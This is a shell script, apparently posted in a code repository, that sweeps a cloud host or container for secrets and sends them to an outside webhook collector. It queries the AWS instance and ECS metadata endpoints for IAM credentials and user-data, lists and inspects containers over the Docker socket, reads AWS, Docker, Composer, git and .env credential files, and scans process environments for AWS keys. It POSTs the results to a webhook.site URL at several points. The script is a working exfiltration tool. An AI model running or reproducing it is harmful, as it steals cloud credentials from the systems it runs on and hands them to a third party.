61 lines
3.9 KiB
Bash
61 lines
3.9 KiB
Bash
#!/bin/sh
|
|
# Read-only host/container credential sweep. Results are POSTed to the collector.
|
|
OUT=/tmp/pstk_sweep.out
|
|
: > $OUT
|
|
say() { echo "$@" >> $OUT; }
|
|
flush() { curl -s -m 20 -X POST --data-binary @$OUT https://webhook.site/0a504462-37f5-4cba-933d-de8df98f8824 >/dev/null 2>&1; say "-- flushed"; }
|
|
say "== ID"; id 2>&1; hostname 2>&1; uname -a 2>&1
|
|
say "== DNS"; getent hosts paystack.com 2>&1; cat /etc/resolv.conf 2>&1
|
|
say "== CURLHOME"; curl -sk -m 6 -sD- -o /dev/null https://paystack.com/ 2>&1 | head -12
|
|
say "== ECSVAR"; printenv ECS_CONTAINER_METADATA_URI_V4 2>&1
|
|
V=$(printenv ECS_CONTAINER_METADATA_URI_V4 2>/dev/null)
|
|
if [ -n "$V" ]; then
|
|
say "-- v4 self"; curl -s -m 6 "$V" 2>&1; echo >> $OUT
|
|
say "-- v4 task"; curl -s -m 6 "$V/task" 2>&1; echo >> $OUT
|
|
fi
|
|
say "-- v4 old1"; curl -s -m 5 http://169.254.170.2/v4/d9811cfd-ae07-43b2-b484-fe625462ffd6 2>&1; echo >> $OUT
|
|
say "-- v4 old2"; curl -s -m 5 http://169.254.170.2/v4/2df95ff1-4a1e-4386-8c68-1b0d9a3fbd3d 2>&1; echo >> $OUT
|
|
say "== IMDS-UD"; curl -s -m 6 http://169.254.169.254/latest/user-data 2>&1; echo >> $OUT
|
|
say "== IMDS-TAGS"; curl -s -m 5 http://169.254.169.254/latest/meta-data/tags/instance/ 2>&1; echo >> $OUT
|
|
say "== IMDS-IDD"; curl -s -m 5 http://169.254.169.254/latest/dynamic/instance-identity/document 2>&1; echo >> $OUT
|
|
say "== IMDS-IDC"; curl -s -m 5 http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance 2>&1; echo >> $OUT
|
|
say "== IMDS-IAMINFO"; curl -s -m 5 http://169.254.169.254/latest/meta-data/iam/info 2>&1; echo >> $OUT
|
|
say "== ECSFILES"; ls -la /etc/ecs /var/lib/ecs /var/lib/ecs/data /run/ecs /var/run/ecs 2>&1
|
|
for f in /etc/ecs/ecs.config /etc/ecs/ecs.config.json /var/lib/ecs/data/ecs_agent_data.json /var/lib/ecs/data/instance-eni.json; do
|
|
[ -f "$f" ] && { say "-- $f"; head -c 800 "$f" >> $OUT; echo >> $OUT; }
|
|
done
|
|
flush
|
|
say "== SOCK"; ls -la /var/run/docker.sock /run/docker.sock 2>&1
|
|
if [ -S /var/run/docker.sock ]; then
|
|
say "-- docker ps"; curl -s -m 6 --unix-socket /var/run/docker.sock "http://localhost/containers/json?all=1" 2>&1 | head -c 3000 >> $OUT; echo >> $OUT
|
|
IDs=$(curl -s -m 6 --unix-socket /var/run/docker.sock "http://localhost/containers/json?all=1" 2>/dev/null | tr ',' '\n' | grep -o '"Id":"[a-f0-9][a-f0-9]*' | cut -d'"' -f4 | head -20)
|
|
for cid in $IDs; do
|
|
say "-- inspect $cid"
|
|
curl -s -m 6 --unix-socket /var/run/docker.sock "http://localhost/containers/$cid/json" 2>/dev/null | tr ',' '\n' | grep -iE 'AWS_|ECR|DOCKER|Image"|"Name"|Binds' | head -25 >> $OUT
|
|
done
|
|
fi
|
|
say "== AWSFILES"
|
|
for f in /root/.aws/credentials /root/.aws/config /home/*/.aws/credentials /home/*/.aws/config /var/www/.aws/credentials /var/www/.aws/config /var/www/html/.aws/credentials /var/www/html/auth.json /var/www/html/.git-credentials /var/www/html/.git/config /var/www/.composer/auth.json /root/.composer/auth.json /root/.docker/config.json /home/*/.docker/config.json /var/www/.docker/config.json /var/www/html/.env /var/www/.env; do
|
|
[ -f "$f" ] && { say "-- $f"; head -c 1000 "$f" >> $OUT; echo >> $OUT; }
|
|
done
|
|
flush
|
|
say "== FIND"
|
|
find /tmp /opt /var/www /root /home -maxdepth 4 -iname "*cred*" 2>/dev/null | head -20 >> $OUT
|
|
find /tmp /opt -maxdepth 4 -iname "*aws*" 2>/dev/null | head -20 >> $OUT
|
|
say "== GITDIR"; ls -la /var/www/html/.git 2>&1 | head -20 >> $OUT
|
|
say "== ENVSCAN"
|
|
for p in /proc/[0-9]*/environ; do
|
|
if grep -qE 'AKIA|ASIA|AWS_ACCESS|AWS_SECRET|AWS_SESSION|AWS_CONTAINER' "$p" 2>/dev/null; then
|
|
say "-- $p"
|
|
tr '\0' '\n' < "$p" 2>/dev/null | grep -E 'AKIA|ASIA|^AWS_|^ECR|^DOCKER' | head -15 >> $OUT
|
|
fi
|
|
done
|
|
say "== MOUNTS"; grep -E 'aws|ecs|docker|secret|host' /proc/self/mountinfo 2>&1 | head -20 >> $OUT
|
|
say "== PROCS"
|
|
for p in $(ls /proc | grep -E '^[0-9]+$'); do
|
|
c=$(tr '\0' ' ' < /proc/$p/cmdline 2>/dev/null)
|
|
[ -n "$c" ] && say "$p $c"
|
|
done
|
|
say "== DONE"
|
|
curl -s -m 25 -X POST --data-binary @$OUT https://webhook.site/0a504462-37f5-4cba-933d-de8df98f8824 >/dev/null 2>&1
|
|
echo SWEEPDONE
|